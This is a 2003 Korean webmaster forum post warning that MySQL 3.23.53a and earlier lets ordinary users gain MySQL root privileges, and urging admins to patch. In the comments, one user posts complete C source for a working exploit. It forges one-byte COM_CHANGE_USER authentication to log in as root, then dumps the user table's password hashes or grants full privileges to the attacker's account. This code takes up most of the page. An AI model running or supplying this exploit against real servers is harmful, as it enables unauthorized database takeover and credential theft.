웹마스터 팁
page_full_width" class="col-xs-12" |cond="$__Context->page_full_width">
MySQL 3.23.53a 이하 패치하세요!!
2003.02.11 01:12
phpschool.com 의 뉴스란에 2월 9일자로 올라왔군요.
----------------------------------------------------------------------------
벌써 한달가까이 전에 나온 exploit입니다.
일반 mysql유저로 mysql root 권한을 얻을 수 있으며 설마 이런분은 없겠지만
mysql를 root권한으로 돌리시는 분은 시스템 root 권한까지 잃을 수 있습니다.
호스팅서버관리자분께서는 필히 최신버전으로 패치하세요..
Mysql 3.23.53a 이하버전이니 대부분 해당될 껍니다..
그리고 mysql 기본셋팅으로 test계정을 삭제하지 않으신 분은 원격으로 공격받을 수도 있습니다.
----------------------------------------------------------------------------
----------------------------------------------------------------------------
벌써 한달가까이 전에 나온 exploit입니다.
일반 mysql유저로 mysql root 권한을 얻을 수 있으며 설마 이런분은 없겠지만
mysql를 root권한으로 돌리시는 분은 시스템 root 권한까지 잃을 수 있습니다.
호스팅서버관리자분께서는 필히 최신버전으로 패치하세요..
Mysql 3.23.53a 이하버전이니 대부분 해당될 껍니다..
그리고 mysql 기본셋팅으로 test계정을 삭제하지 않으신 분은 원격으로 공격받을 수도 있습니다.
----------------------------------------------------------------------------
댓글 7
-
한희진
2003.02.17 10:29
무슨 소스져? -
Dopesoul
2003.02.11 04:25
올리셔야합니다. 그런건.. ㅋㅋ -
FriZeX*-_-*
2003.02.11 15:15
이런글 올라와도 패치안하고 있다가 당하는 분 꼭 있죠;;;; -
Dragon[Ash]
2003.02.11 21:49
1월21일에 이 버전에서 해킹하는 법이 어느 사이트에 있었는데...
근데 무슨말인지는 몰라서.. -
#NEO™
2003.02.12 05:40
#include <stdio.h>
#include <unistd.h>
#include <mysql/mysql.h>
int do_attack(MYSQL *mysql, char *attackuser);
void do_action(MYSQL *mysql, char *action, char *user);
char *strmov(register char *dst, register const char *src);
int main(int argc, char **argv) {
MYSQL mysql;
char optchar;
char *target, *user, *password, *attackuser, *action;
target = user = password = action = attackuser= NULL;
while ( (optchar = getopt(argc, argv, "ht:u:p:a:e:")) != EOF ) {
switch(optchar) {
case 'h': printf("hoagie_mysql.cn");
printf("-t ... mysql server (default localhost)n");
printf("-u ... username (default empty)n");
printf("-p ... password (default empty)n");
printf("-a ... attack user (default root)n");
printf("-e ... actionn");
printf("-h ... this screenn");
exit(0);
case 't': target = optarg;
break;
case 'u': user = optarg;
break;
case 'p': password = optarg;
break;
case 'a': attackuser = optarg;
break;
case 'e': action = optarg;
}
}
if (!target) target = "localhost";
if (!user) user = "";
if (!password) password = "";
if (!attackuser) attackuser = "root";
if (!action) action = "dumpuser";
printf("connecting to [%s] as [%s] ... ", target, user);
fflush(stdin);
if (!mysql_connect(&mysql, target, user, password)) {
printf("failedn");
return 0;
} else {
printf("okn");
}
printf("sending one byte requests with user [%s] ... n", attackuser);
if (!do_attack(&mysql, attackuser)) {
do_action(&mysql, action, user);
} else {
printf("attack failedn");
}
mysql_close(&mysql);
return 0;
}
int do_attack(MYSQL *mysql, char *attackuser) {
char buff[512], *pos=buff, *attackpasswd = "A";
int i, len, j, ret = 1;
pos = (char*)strmov(pos,attackuser)+1;
mysql->scramble_buff[1] = 0;
pos = scramble(pos, mysql->scramble_buff, attackpasswd,
(my_bool) (mysql->protocol_version == 9));
pos = (char*)strmov(pos+1,"");
len = pos-buff;
for (j = 0; ret && j < 32; j++) {
buff[5] = 65 + j;
ret = simple_command(mysql,COM_CHANGE_USER, buff,(uint)len,0);
}
return ret;
}
void do_action(MYSQL *mysql, char *action, char *user) {
MYSQL_ROW row;
MYSQL_RES *result;
char buf[512];
mysql_select_db(mysql, "mysql");
if (!strcmp(action, "dumpuser")) {
mysql_query(mysql, "select user, password, host from user");
result = mysql_use_result(mysql);
while ((row = mysql_fetch_row(result)))
printf("%16s %16s %50sn", row[0], row[1], row[2]);
mysql_free_result(result);
} else if (!strcmp(action, "becomeadmin")) {
snprintf(buf, sizeof(buf) - 1,
"update user set Select_priv='Y', Insert_priv='Y', Update_priv='Y', Delete_priv='Y', "
" Create_priv='Y', Drop_priv='Y', Reload_priv='Y', Shutdown_priv='Y', Process_priv='Y', "
" File_priv='Y', Grant_priv='Y', References_priv='Y', Index_priv='Y', Alter_priv='Y' where "
" user = '%s'", user);
mysql_query(mysql, buf);
mysql_reload(mysql);
} /* do whatever you want ... see mysql api ... // else if ( */
}
char *strmov(register char *dst, register const char *src)
{
while ((*dst++ = *src++)) ;
return dst-1;
} -
#NEO™
2003.02.12 05:41
무슨 소스인지는 잘 아실게요 -
바른생활 NGEO
2003.02.11 01:13
exploit까지 올릴려다가 말았습니다. :-)
제목 | 글쓴이 | 날짜 |
---|---|---|
[자바스크립트] 전체로 창을 띄우는 자바~ | 김정함 | 2001.01.21 |
[자바스크립트]새창띄우기의 변종.. (별로 중요하지않음.. =_=;;) [2] | Adios | 2001.01.15 |
자바에서도 쿠키를 구워야할때 [4] | Kritz | 2001.01.15 |
블라인드 효과 스크립트~ [2] | 박규진 | 2001.01.14 |
^^사용자 해상도알아내는 스크립트~ | onjjang | 2001.01.13 |
이미지가 차츰 변하게 하는 자바스크립트.. [3] | 잔디 | 2001.01.05 |
스크립트를 암호화 시켜보자! [설치파일 찾았음 --]
[11]
![]() | 수지니^^ | 2002.01.09 |
"#"쓸때움직이지않게하기 [10] | 닉스! | 2001.12.27 |
달력 | 따라기 | 2009.05.10 |
자신의 홈페이지에 웹문서 검색엔진 장착하기 [4] | 지하넷 | 2009.05.04 |
노프레임 홈페이지 만들기 강좌
![]() | H.N커뮤니티 | 2009.02.28 |
메뉴에 마우스오버시 레이어서브메뉴창 뜨게하기 (나모웹)
![]() | H.N커뮤니티 | 2009.02.22 |
UTF-8 파일을 열면 글자가 깨져요 어떤 에디터를 사용해야 하나요? [2] | 최소영329 | 2009.02.03 |
css 정리 파일(한글)
[3]
![]() | 미곰탱 | 2009.01.22 |
네이버 css강좌에요... 참고하세요 [3] | 만쓰별(정만) | 2009.01.15 |
스크립트 모음
[1]
![]() | *이종민* | 2008.11.29 |
자바스크립트 지원 유무 | *이종민* | 2008.11.29 |
계산기
[1]
![]() | *이종민* | 2008.11.29 |
바탕화면에 바로가기 만들기
![]() | *이종민* | 2008.11.29 |
타이머
![]() | *이종민* | 2008.11.29 |